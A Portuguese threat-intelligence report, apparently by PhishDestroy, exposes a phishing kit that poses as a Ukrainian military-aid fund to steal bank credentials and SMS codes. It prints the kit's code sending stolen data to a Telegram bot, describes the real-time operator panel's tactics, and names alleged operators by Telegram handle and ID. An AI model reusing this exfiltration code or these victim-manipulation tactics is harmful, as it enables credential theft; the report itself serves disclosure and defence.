Rede de phishing relacionada à ajuda militar é desmascarada: 5 bancos foram alvo de ataques; os autores foram identificados

O que o PhishDestroy descobriu

Em 20 de março de 2026, o Pipeline automatizado de detecção de ameaças do PhishDestroy sinalizou dopomogvoina[.]sbs — um domínio recém-registrado que hospeda um site de phishing que se faz passar por "O Escudo do Defensor" (Escudo do Defensor), uma falsa fundação de ajuda militar ucraniana. O site tem como alvo veteranos militares ucranianos, feridos em combate e as famílias de soldados mortos em serviço, prometendo ajuda financeira do governo enquanto rouba credenciais bancárias de cinco dos maiores bancos da Ucrânia.

A seguir, apresentamos uma análise detalhada de tudo o que nossa análise automatizada revelou: a engenharia social, a infraestrutura técnica, o sistema de controle em tempo real dos operadores e as identidades das pessoas responsáveis por operá-lo.

Seção 1: A isca — Fundação de Ajuda Militar Falsa

O domínio dopomogvoina[.]sbs foi registrado em 20 de março de 2026 por meio de NiceNIC International Group Co., Limited, um registrador com um histórico bem documentado de respostas lentas ou inexistentes a denúncias de abuso. O .sbs O TLD (Side-By-Side) é um gTLD de baixo custo frequentemente utilizado para infraestruturas de phishing descartáveis.

O site se apresenta como um portal profissional de assistência ligado ao governo. Uma bandeira ucraniana ocupa todo o cabeçalho, imagens militares conferem autenticidade, e o texto da página está cuidadosamente redigido em ucraniano, com uma linguagem burocrática que reflete a dos programas governamentais legítimos.

Captura de tela 5 — Página inicial do site de phishing que se faz passar por “Щит Захисника” (Escudo do Defensor).

Para criar credibilidade, os operadores criaram um contador de estatísticas exibido de forma destacada na página inicial:

• 2.847 inscrições — o que sugere que milhares de pessoas já receberam ajuda
• ₴47,2 milhões distribuídos — um número elevado, mas plausível, na UAH
• 19 programas — sugerindo uma operação abrangente e envolvendo vários programas

Esses números são totalmente inventados, inseridos diretamente no código-fonte da página, sem qualquer conexão com o backend. Eles têm um único objetivo: servir como prova social para superar a hesitação da vítima.

Seção 2: A Armadilha — 5 bancos, um objetivo

Após clicar em “Подати заявку” (Enviar Inscrição), a vítima é direcionada para uma tela de seleção de banco. Cinco dos maiores bancos de varejo da Ucrânia aparecem como opções, cada um com sua identidade visual e logotipo oficiais. É nesse momento que a engenharia social passa da manipulação emocional para o roubo técnico.

Captura de tela 6 — Tela de seleção do banco. Cada opção leva a uma sequência personalizada de roubo de credenciais.

A análise do pacote de JavaScript do site revelou que cada banco possui um sequência exclusiva de coleta de credenciais em várias etapas, adaptado para se adequar ao fluxo de autenticação real desse banco:

O fluxo do ataque para cada banco segue o mesmo padrão:

Captura de tela 7 — Página de login clonada do PrivatBank.

Captura de tela 9 — Login do PUMB clonado.

Captura de tela 10 — Fluxo completo do ataque: desde a página falsa de ajuda militar, passando pela seleção do banco, até o roubo de credenciais e a invasão da conta.

A pilha de tecnologias: SPA em React interface fornecida por meio de CDN da Cloudflare, com um Express.js back-end responsável pelo roubo de credenciais. A arquitetura do React permite a criação de formulários de várias etapas que se integram perfeitamente, parecendo indistinguíveis das interfaces bancárias legítimas.

Seção 3: Controle do operador em tempo real

Este não é um simples coletor de credenciais com um banco de dados estático. O kit de phishing inclui um painel de controle WebSocket em tempo real que permite que um operador humano manipule cada sessão da vítima em tempo real.

O ponto de extremidade do WebSocket em wss://dopomogvoina[.]sbs/ws suporta os seguintes tipos de mensagem:

register          — New victim session created
update_user_data  — Stolen credentials transmitted to operator
next_step         — Operator advances victim to next theft stage
create_application — Victim starts "aid application"
answer_question   — Operator sends custom prompt to victim

Esse controle em tempo real permite que o operador:

• Forçar um estado de espera — exibir a mensagem “Processando sua solicitação...” enquanto eles fazem login na conta bancária real da vítima
• Redirecionar para uma etapa específica — solicitar novamente um código por SMS caso o primeiro tenha expirado
• Mostrar mensagens de erro falsas — “Código inválido, insira novamente” para coletar vários tokens de autenticação de duas etapas
• Faça perguntas personalizadas — solicitar data de nascimento, número do cartão ou quaisquer outros dados durante a sessão

Captura de tela 8 — Formulário de inserção de número de telefone usado para iniciar o roubo de credenciais.

Captura de tela 11 — Painel do bot em tempo real do operador para controlar as sessões das vítimas.

A gama completa de dados roubados por sessão: phone, password, PIN, SMS code, card number, date of birth, e email.

Seção 4: Por trás do Cloudflare — Dois projetos, um servidor

O proxy da Cloudflare oculta o servidor de origem, mas a Pipeline de análise de infraestrutura do PhishDestroy identificou o verdadeiro endereço IP de origem: 45.131.214[.]148, hospedado em RapidSeedbox / LeaseWeb na Holanda.

Um detalhe importante: dopomogvoina[.]sbs é encaminhado por meio de Cloudflare, ocultando seu endereço IP de origem. Mas nosso sistema também rastreia hlpforvpeople[.]sbs — um domínio relacionado registrado pelo mesmo registrador NiceNIC, com padrões correspondentes. Esse domínio é NÃO está atrás do Cloudflare, expondo diretamente seu endereço IP de origem: 45.131.214[.]148.

Conectando-se diretamente a este IP — sem um Host cabeçalho — revelou algo inesperado: um site de phishing totalmente diferente. Em vez da ajuda militar à Ucrânia, o vhost padrão serviu "Identificação de Saúde", uma operação de phishing relacionada a um plano de saúde indonésio. O mesmo servidor, vítimas completamente diferentes, país completamente diferente.

Captura de tela 12 — Duas operações paralelas de phishing que compartilham o mesmo servidor de origem: ajuda militar ucraniana (dopomogvoina) e seguro de saúde indonésio (HealthCare ID).

O modelo de phishing indonésio é um kit conhecido rastreado no banco de dados de inteligência de ameaças do PhishDestroy. Vimos variantes desse mesmo modelo sendo utilizadas em todo o Sudeste Asiático — visando instituições financeiras da Indonésia, da Tailândia e do Vietnã. Os operadores simplesmente trocam os modelos específicos de cada país, reutilizando a mesma infraestrutura de back-end.

Seção 5: O arquivo config.json que revelou tudo

Veja a seguir como um único arquivo mal configurado desestruturou toda a operação — passo a passo.

Após identificar o segundo projeto do servidor de origem, o PhishDestroy’s JS Analyzer — nossa ferramenta automatizada de análise de JavaScript — foi direcionada ao pacote do site de phishing indonésio em https://45.131.214[.]148/assets/index-ZMQxHb_h.js. O analisador extraiu todos os endpoints de API, URLs externas e caminhos de configuração do arquivo JavaScript de 335 KB. Entre as descobertas:

• Cinco pontos de extremidade da API em rezervtemka[.]cc — o painel C2 para verificação de credenciais
• Uma conexão WebSocket com wss://rezervtemka[.]cc
• Integração do Facebook Pixel para rastreamento de vítimas
• Uma referência a /config.json — carregado em tempo de execução para a configuração do bot do Telegram

Seguindo essa pista, buscamos /config.json a partir do endereço IP de origem. O arquivo estava acessível sem qualquer autenticação — localizado na raiz do site, legível por qualquer pessoa:

async function loadConfig() {
  const response = await fetch('/config.json');
  // ...
}
async function sendNotification() {
  const cfg = await loadConfig();
  await fetch(`https://api.telegram.org/bot${cfg.bot_token}/sendMessage`, {
    method: 'POST',
    body: JSON.stringify({ chat_id: cfg.chat_id, text: message })
  });
}

O /config.json o arquivo estava acessível diretamente a partir do IP de origem — sem autenticação, sem controle de acesso, apenas um arquivo JSON simples localizado na raiz do site:

{
  "bot_token": "8724623843:AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "chat_id": "-100XXXXXXXXXX"
}

Um token de bot do Telegram funciona tanto como nome de usuário quanto como senha. Quem tiver o token pode fazer chamadas à API como se fosse esse bot. Os operadores deixaram o token deles em um arquivo de acesso público. Após seis chamadas à API, já tínhamos tudo:

Captura de tela 13 — A cadeia completa de OSINT: do arquivo config.json exposto até a identificação completa do operador em 6 chamadas de API.

De um único arquivo mal configurado à identificação completa dos operadores em seis solicitações HTTP. Sem explorações, sem acesso não autorizado — apenas chamadas padrão da API do Telegram Bot usando um token que os próprios operadores deixaram exposto.

Seção 6: Os operadores

Captura de tela 14 — O grupo de operadores do Telegram “Idr card”, exposto por meio do token do bot que vazou.

Proprietário / Criador

MONETTI ESCOBAR

@monettiescobar

ID do Telegram: 8135223234

Telegram Premium, Perfil empresarial

Fuso horário: UTC+3 (região da CEI)

10 mensagens públicas — OPSEC rigorosa

TraFFeeQ ChatMedusa Google AdsCanal sobre deepfakes

Operador / Tráfego

Bonya

@BoaCC159

ID do Telegram: 6242202706

Também conhecido como: PapaZakonVor, Boa, bubullikk

261 mensagens em 12 grupos

DC2 — Amsterdã, NL

CryptoGrabMercado STYXRaven CCCHAT DO IMPÉRIOSolução Phoenix

Desenvolvedor / Programador

Devoys

@devosus

ID do Telegram: 8213612730

Desenvolvedor de kits de phishing — os operadores se referem a ele como “programador”

Solicitado a “pensar em medidas de defesa” quando a violação foi descoberta

Impacto público mínimo por concepção

Alça @devosus ≈ “dev ops us” — cargo como nome de usuário

Desenvolvedor de kitsInfraestruturaSegurança

MONETTI ESCOBAR — O Chefe

A MONETTI mantém uma rigorosa segurança operacional — apenas 10 mensagens públicas em dois grupos. Mas os grupos revelam o que aconteceu: TraFFeeQ Chat (arbitragem de tráfego para fins de fraude), Medusa Google Ads (práticas de black-hat no Google Ads) e um Canal sobre deepfakes. Seu perfil comercial no Telegram indica “Есть предложение” ("Tenho uma proposta") — anunciando abertamente seus serviços. O fuso horário UTC+3 (correspondente a Moscou/Minsk/Kiev) e o horário de atendimento 24 horas por dia, 7 dias por semana, confirmam que se trata de uma operação sediada na CEI que funciona ininterruptamente.

Bonya — O Descuidado

Ao contrário da rigorosa segurança operacional (OPSEC) de MONETTI, Bonya (antigo pseudônimo: PapaZakonVor — algo como “DaddyThiefByLaw”) deixou um enorme rastro digital — 261 mensagens distribuídas por 12 grupos clandestinos. Seu histórico de bate-papo parece um currículo criminoso:

Suas filiações a grupos traçam um quadro completo: CryptoGrab (ladrões de carteiras de criptomoedas), Mercado STYX (mercado clandestino de dados roubados), Verificador do Raven CC (ferramentas de validação de cartão de crédito), CHAT DO IMPÉRIO e Solução Phoenix (coordenação de fraudes). Não se trata de um infrator ocasional — trata-se de alguém que está inserido no ecossistema do crime cibernético.

Devoys — O desenvolvedor

A espinha dorsal técnica da operação. Projetado para causar o mínimo impacto público — quando o grupo foi invadido, Bonya o chamou explicitamente: "@devosus, pensa na defesa antes que a gente leve uma surra" — "@devosus, vamos pensar na defesa antes que a gente leve uma surra." Sua resposta sarcástica à violação — "quando na Interpol" ("quando fazer a interpolação") — o que sugere que essa não é a primeira vez que eles passam por uma situação de risco.

Análise comportamental: 261 mensagens decodificadas

O Pipeline de OSINT da PhishDestroy coletou e traduziu todas as 261 mensagens públicas de Bonya, em 12 grupos subterrâneos do Telegram (junho de 2024 — março de 2026). Tradução automática via API do DeepL com correção manual do contexto. As mensagens revelam um perfil operacional completo — categorizado abaixo por tipo de atividade criminosa.

Fraude bancária e phishing

“Money Mules” e “Cash-Out”

Fraude de tráfego e uso indevido de anúncios

MONETTI ESCOBAR: O Chefe Silencioso

Em nítido contraste com as 261 mensagens de Bonya, MONETTI tem apenas 10 mensagens públicas — tudo em um único tópico no TraFFeeQ Chat (Arbitragem de tráfego ADS/SEO de sites de conteúdo obsceno), em defesa de um colega:

Os grupos do Telegram da MONETTI contam o resto: Medusa Google Ads (fraude de PPC do tipo “black-hat”), um Canal sobre deepfakes (meios sintéticos para fraude), e CHAT DE MARLBORO (privado, desconhecido). A assinatura do Telegram Premium, atendimento 24 horas por dia, 7 dias por semana, e “Есть предложение” ("Tenho uma proposta") O perfil profissional dele dá a impressão de que trata o crime cibernético como um negócio em tempo integral.

Captura de tela 2 — Perfil do MONETTI no Telegram.

Captura de tela 3 — Perfil de Bonya. Observe o DC2 (Amsterdã).

Seção 7: A Sala de Pânico

Depois que o PhishDestroy acessou o grupo de operadores por meio do bot do Telegram que estava exposto, ocorreu a seguinte troca de mensagens. O registro da conversa abaixo foi traduzido para o inglês, com o texto original em russo preservado em itálico. A identidade usada para o acesso foi ocultada.

O grupo foi excluído em questão de minutos. O reconhecimento de despedida de Bonya — “+” — e a confirmação de Devoys com “sim” dizem tudo: eles sabiam que estavam desmascarados, e a única saída que tinham era destruir as provas. Mas, naquele momento, os dados já haviam sido coletados.

Observe o comentário revelador de Bonya: "Também fomos atacados pelo bot ucraniano" — confirmando que ambos os projetos (ucraniano e indonésio) contam com a mesma equipe de operadores e que essa não foi a primeira vez que sua infraestrutura foi comprometida.

Seção 8: O que isso demonstra

Cronograma da investigação

Domínios relacionados

Nossa análise identificou um segundo domínio — hlpforvpeople[.]sbs — registrados pelo mesmo registrador, com padrões de infraestrutura idênticos. Ambos os domínios estão registrados em nosso banco de dados:

• Relatório do PhishDestroy: dopomogvoina[.]sbs
• Relatório do PhishDestroy: hlpforvpeople[.]sbs

Principais conclusões

• A automação é a única maneira de acompanhar o ritmo. Os kits de phishing são implantados e transformados em armas em questão de horas. A análise manual não consegue acompanhar esse ritmo.
• Os operadores cometem erros. Um arquivo de configuração exposto em um projeto secundário levou à descoberta de toda uma operação multinacional de phishing. É difícil manter uma OPSEC perfeita em todos os projetos.
• A engenharia social evolui acompanhando o ciclo de notícias. A guerra, a ajuda humanitária e os programas governamentais são cada vez mais explorados como iscas de phishing, pois têm como alvo pessoas em situação de angústia, que tendem a questionar menos a legitimidade dessas iniciativas.
• A reutilização de infraestrutura é a regra. Um servidor, dois projetos de phishing, dois países, os mesmos operadores. Mapear as conexões da infraestrutura revela muito mais do que analisar um único domínio isoladamente.

Aviso legal: Esta investigação foi conduzida inteiramente por meio de reconhecimento passivo e APIs públicas. Não foi realizado nenhum acesso não autorizado a nenhum sistema. As chamadas à API do Telegram Bot utilizaram um token que foi exposto publicamente pelos operadores em um endpoint não autenticado. Todos os nomes de domínio neste artigo tiveram suas identidades ocultadas, de acordo com a convenção padrão de segurança da informação.